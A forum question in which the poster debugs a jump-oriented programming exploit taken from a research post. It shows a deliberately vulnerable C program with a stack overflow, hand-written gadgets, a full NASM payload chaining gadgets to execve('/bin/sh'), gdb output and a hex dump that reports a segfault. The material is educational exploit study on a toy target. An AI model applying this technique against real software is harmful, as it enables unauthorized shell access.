I found this interesting post on jop, and since I was not familiar with the concept I decided to play with it. I managed to call arbitrary functions defined in my binary with or without arguments, but never managed to run the example given on the post.
What he is doing is defining his own gadgets and a vulnerable program as can be seen bellow
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
char* executable="/bin//sh";
char* null="\0\0\0";
FILE * fd;
void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");
//initializer
asm("popa; jmp [ebx-0x3e];");
//g00
asm("popa; fdivr st(1), st; jmp [edx];");
//g01
asm("inc eax; fdivr st(1), st; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; fdivr st(1), st; jmp [edx];");
//g07
asm("popa; cmc; jmp dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");
asm(".att_syntax noprefix");
}
void overflow() {
char buf[256];
//printf("%p", buf);
fscanf(fd,"%[^\n]",buf);
return;
}
int main(int argc, char** argv) {
char* filename = "exploit";
if(argc>1) filename = argv[1];
fd=fopen(filename, "r");
overflow();
}
By using gdb I think I found the correct addresses of the constants as defined in the payload
and as for the buffers' address I found it by subtracting its length from $ebp
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c
My constants look like this (after also changing the buffer size)
; Constants:
base: equ 0xbfff42d0 ; Address where this buffer is loaded
;base: equ 0xffffd2b0 ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher: equ 0x804847e ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x80485c0 ; Points to the string "/bin/sh"
to_null: equ 0x80485c9 ; Points to a null dword (0x00000000)
buffer_length: equ 0x108 ; Target program's buffer size.
When I run the program though instead of getting a shell I get
Segmentation fault (core dumped)
The full exploit itself is as follows
start:
; Constants:
base: equ 0xbfff42d0 ; Address where this buffer is loaded
;base: equ 0xffffd2b0 ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher: equ 0x804847e ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x80485c0 ; Points to the string "/bin/sh"
to_null: equ 0x80485c9 ; Points to a null dword (0x00000000)
buffer_length: equ 0x108 ; Target program's buffer size.
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52 ; int 0x80
g09: dd dispatcher+43 ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd dispatcher+37 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd dispatcher+33 ; popa ; cmc ; jmp [ecx]
g06: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g05: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g04: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g03: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g02: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g01: dd dispatcher+14 ; inc eax ; fdivr st(1), st ; jmp [edx]
g00: dd dispatcher+9 ; popa ; fdivr st(1), st ; jmp [edx]
g_start: ; Start of the dispatch table, which is in reverse order.
; Don't know why but there is an 8-byte padding between the buffer and the return address
times buffer_length+8 - ($-start) db 'x' ; Pad to the end of the legal buffer
; Stuff to overwrite return address goes here
stored_ebp: dd 0xaaaaaaaa
ret_address: dd initializer
; Start of the stack. Data read by initializer gadget "popa":
popa0_edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
popa0_esi: dd 0xaaaaaaaa
popa0_ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
popa0_esp: dd 0xaaaaaaaa
popa0_ebx: dd base+to_dispatcher+0x3e ; Jumpback for initializer (plus 0x3e)
popa0_edx: dd 0xaaaaaaaa
popa0_ecx: dd 0xaaaaaaaa
popa0_eax: dd 0xaaaaaaaa
; Data read by "popa" for the null-writer gadgets:
popa1_edi: dd -4 ; Delta for dispatcher
popa1_esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
popa1_ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
popa1_esp: dd 0xaaaaaaaa
popa1_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
popa1_edx: dd base+to_dispatcher ; Jumpback for gadgets ending "jmp [edx]"
popa1_ecx: dd 0xaaaaaaaa
popa1_eax: dd -1 ; When we increment eax later, it becomes 0
; Data read by "popa" to prepare for the system call:
popa2_edi: dd -4 ; Delta for dispatcher
popa2_esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
popa2_ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
popa2_esp: dd 0xaaaaaaaa
popa2_ebx: dd to_executable ; Syscall EBX = 1st execve arg (filename)
popa2_edx: dd to_null ; Syscall EDX = 3rd execve arg (envp)
popa2_ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
popa2_eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
; End of stack, start of a general data region used in manual addressing
dd dispatcher ; Jumpback for "jmp [esi-0xf]"
times 0xB db 'X' ; Filler
esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
dd dispatcher ; Jumpback for "jmp [esi+0x4]"
times 4 db 'Z' ; Filler
new_eax: dd 0xEEEEEE0B ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
times 3 db 'Z' ; Filler
to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
I compile this by using nasm v2.07 in order to avoid the exploit.nasm:47: warning: dword data exceeds bounds
issue and compile it like so
nasm exploit.nasm
to produce a 408 byte file that looks like this;
The compiled shellcode as a string looks like this:
char shellcode[] =
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00"
"\x00\x00\x38\x07\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
"\x00\x28\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x80\x04\x08\x00\x80\x04\x08\x00\x02\x00\x00\x00\x02\x00"
"\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\xb2\x84\x04\x08\xa9\x84\x04\x08\xa3"
"\x84\x04\x08\x9f\x84\x04\x08\x91\x84\x04\x08\x9a\x84\x04\x08"
"\x91\x84\x04\x08\x9a\x84\x04\x08\x91\x84\x04\x08\x8c\x84\x04"
"\x08\x87\x84\x04\x08\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
"\x78\x78\x78\x78\x78\x78\x78\x78\xaa\xaa\xaa\xaa\x83\x84\x04"
"\x08\xfc\xff\xff\xff\xaa\xaa\xaa\xaa\xf1\x20\x09\x10\xaa\xaa"
"\xaa\xaa\x64\x22\x09\x10\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\xaa\xaa\xaa\xfc\xff\xff\xff\x26\x22\x09\x10\xed\x20\x09\x10"
"\xaa\xaa\xaa\xaa\x20\x22\xc5\x27\x26\x22\x09\x10\xaa\xaa\xaa"
"\xaa\xff\xff\xff\xff\xfc\xff\xff\xff\x13\x22\x09\x10\xd1\x20"
"\x09\x10\xaa\xaa\xaa\xaa\x20\xa0\x04\x08\x24\xa0\x04\x08\x26"
"\x22\x09\x10\x24\xa0\x04\x08\x7e\x84\x04\x08\x58\x58\x58\x58"
"\x58\x58\x58\x58\x58\x58\x58\x7e\x84\x04\x08\x7e\x84\x04\x08"
"\x5a\x5a\x5a\x5a\x0b\xee\xee\xee\x5a\x5a\x5a\x7e\x84\x04\x08"
"\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x60\x80\x04\x08\x00\x00\x00\x00"
"\x03\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x04\x00\xf1\xff\x71\x00\x00\x00\x60\x80\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x0e\x00\x00\x00\x2c\xa0\x04\x08\x00"
"\x00\x00\x00\x00\x00\xf1\xff\x92\x01\x00\x00\x7e\x84\x04\x08"
"\x00\x00\x00\x00\x00\x00\xf1\xff\x13\x00\x00\x00\x83\x84\x04"
"\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x1f\x00\x00\x00\x20\xa0"
"\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x2d\x00\x00\x00\x24"
"\xa0\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x35\x00\x00\x00"
"\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\xf1\xff\x43\x00\x00"
"\x00\x60\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x47\x00"
"\x00\x00\x64\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x4b"
"\x00\x00\x00\x68\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\x4f\x00\x00\x00\x6c\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\x53\x00\x00\x00\x70\x80\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\x57\x00\x00\x00\x74\x80\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\x5b\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\x5f\x00\x00\x00\x7c\x80\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\x63\x00\x00\x00\x80\x80\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x67\x00\x00\x00\x84\x80\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\x6b\x00\x00\x00\x88\x80\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x6f\x00\x00\x00\x8c\x80\x04"
"\x08\x00\x00\x00\x00\x00\x00\x01\x00\x77\x00\x00\x00\x70\x81"
"\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x82\x00\x00\x00\x74"
"\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x8e\x00\x00\x00"
"\x78\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x98\x00\x00"
"\x00\x7c\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xa2\x00"
"\x00\x00\x80\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xac"
"\x00\x00\x00\x84\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\xb6\x00\x00\x00\x88\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\xc0\x00\x00\x00\x8c\x81\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\xca\x00\x00\x00\x90\x81\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\xd4\x00\x00\x00\x94\x81\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\xde\x00\x00\x00\x98\x81\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\xe8\x00\x00\x00\x9c\x81\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\xf2\x00\x00\x00\xa0\x81\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\xfc\x00\x00\x00\xa4\x81\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x06\x01\x00\x00\xa8\x81\x04"
"\x08\x00\x00\x00\x00\x00\x00\x01\x00\x10\x01\x00\x00\xac\x81"
"\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x1a\x01\x00\x00\xb0"
"\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x24\x01\x00\x00"
"\xb4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x2e\x01\x00"
"\x00\xb8\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x38\x01"
"\x00\x00\xbc\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x42"
"\x01\x00\x00\xc0\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
"\x4c\x01\x00\x00\xc4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
"\x00\x56\x01\x00\x00\xc8\x81\x04\x08\x00\x00\x00\x00\x00\x00"
"\x01\x00\x60\x01\x00\x00\xcc\x81\x04\x08\x00\x00\x00\x00\x00"
"\x00\x01\x00\x6a\x01\x00\x00\xd0\x81\x04\x08\x00\x00\x00\x00"
"\x00\x00\x01\x00\x74\x01\x00\x00\xd4\x81\x04\x08\x00\x00\x00"
"\x00\x00\x00\x01\x00\x7e\x01\x00\x00\xe7\x81\x04\x08\x00\x00"
"\x00\x00\x00\x00\x01\x00\x87\x01\x00\x00\xf3\x81\x04\x08\x00"
"\x00\x00\x00\x00\x00\x01\x00\x8f\x01\x00\x00\xfa\x81\x04\x08"
"\x00\x00\x00\x00\x00\x00\x01\x00\x9d\x01\x00\x00\x00\x92\x04"
"\x08\x00\x00\x00\x00\x10\x00\x01\x00\xa9\x01\x00\x00\x00\x92"
"\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\xb0\x01\x00\x00\x00"
"\x92\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x00\x65\x78\x70"
"\x6c\x6f\x69\x74\x2e\x6e\x61\x73\x6d\x00\x62\x61\x73\x65\x00"
"\x69\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x72\x00\x74\x6f\x5f"
"\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x00\x74\x6f\x5f\x6e"
"\x75\x6c\x6c\x00\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67"
"\x74\x68\x00\x67\x30\x61\x00\x67\x30\x39\x00\x67\x30\x38\x00"
"\x67\x30\x37\x00\x67\x30\x36\x00\x67\x30\x35\x00\x67\x30\x34"
"\x00\x67\x30\x33\x00\x67\x30\x32\x00\x67\x30\x31\x00\x67\x30"
"\x30\x00\x67\x5f\x73\x74\x61\x72\x74\x00\x73\x74\x6f\x72\x65"
"\x64\x5f\x65\x62\x70\x00\x72\x65\x74\x5f\x61\x64\x64\x72\x65"
"\x73\x73\x00\x70\x6f\x70\x61\x30\x5f\x65\x64\x69\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x73\x69\x00\x70\x6f\x70\x61\x30\x5f\x65"
"\x62\x70\x00\x70\x6f\x70\x61\x30\x5f\x65\x73\x70\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x62\x78\x00\x70\x6f\x70\x61\x30\x5f\x65"
"\x64\x78\x00\x70\x6f\x70\x61\x30\x5f\x65\x63\x78\x00\x70\x6f"
"\x70\x61\x30\x5f\x65\x61\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x64\x69\x00\x70\x6f\x70\x61\x31\x5f\x65\x73\x69\x00\x70\x6f"
"\x70\x61\x31\x5f\x65\x62\x70\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x73\x70\x00\x70\x6f\x70\x61\x31\x5f\x65\x62\x78\x00\x70\x6f"
"\x70\x61\x31\x5f\x65\x64\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
"\x63\x78\x00\x70\x6f\x70\x61\x31\x5f\x65\x61\x78\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x64\x69\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x73\x69\x00\x70\x6f\x70\x61\x32\x5f\x65\x62\x70\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x73\x70\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x62\x78\x00\x70\x6f\x70\x61\x32\x5f\x65\x64\x78\x00\x70\x6f"
"\x70\x61\x32\x5f\x65\x63\x78\x00\x70\x6f\x70\x61\x32\x5f\x65"
"\x61\x78\x00\x65\x73\x69\x5f\x61\x64\x64\x72\x00\x6e\x65\x77"
"\x5f\x65\x61\x78\x00\x74\x6f\x5f\x64\x69\x73\x70\x61\x74\x63"
"\x68\x65\x72\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74"
"\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e"
"\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00"
"\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00"
"\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60"
"\x00\x00\x00\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x07\x00\x00\x21\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x02\x00\x00\x60\x03\x00\x00\x04\x00\x00"
"\x00\x33\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00"
"\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60"
"\x05\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00";
Why is it that this is not working as expected? I suspect it has to do with me defining wrong memory locations for the dispatcher since I saw a similar behavior on simpler examples that I tried.